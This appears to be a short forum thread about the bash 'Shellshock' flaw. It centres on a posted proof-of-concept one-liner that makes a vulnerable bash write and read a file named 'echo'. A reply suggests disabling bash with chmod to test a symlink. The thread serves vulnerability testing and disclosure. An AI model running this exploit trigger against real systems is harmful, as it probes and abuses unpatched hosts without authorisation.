5 ms·
Another PoC: env -i X='() { (a)=>\' bash -c 'echo curl -s https://bugzilla.redhat.com/'; https://bugzilla.redhat.com/'; head echo Creates file called echo an
by forgery-- 12y ago
Another PoC:
env -i X='() { (a)=>\' bash -c 'echo curl -s https://bugzilla.redhat.com/'; https://bugzilla.redhat.com/'; head echo
Creates file called echo and outputs the contents using head.
(from https://bugzilla.redhat.com/show_bug.cgi?id=1141597#c24 https://bugzilla.redhat.com/show_bug.cgi?id=1141597#c24)
- deleted 12y ago[deleted]
- lutusp 12y agoYou might want to make sure the symlink is really in effect -- try temporarily deleting bash or making is non-executable: # chmod -x `which bash`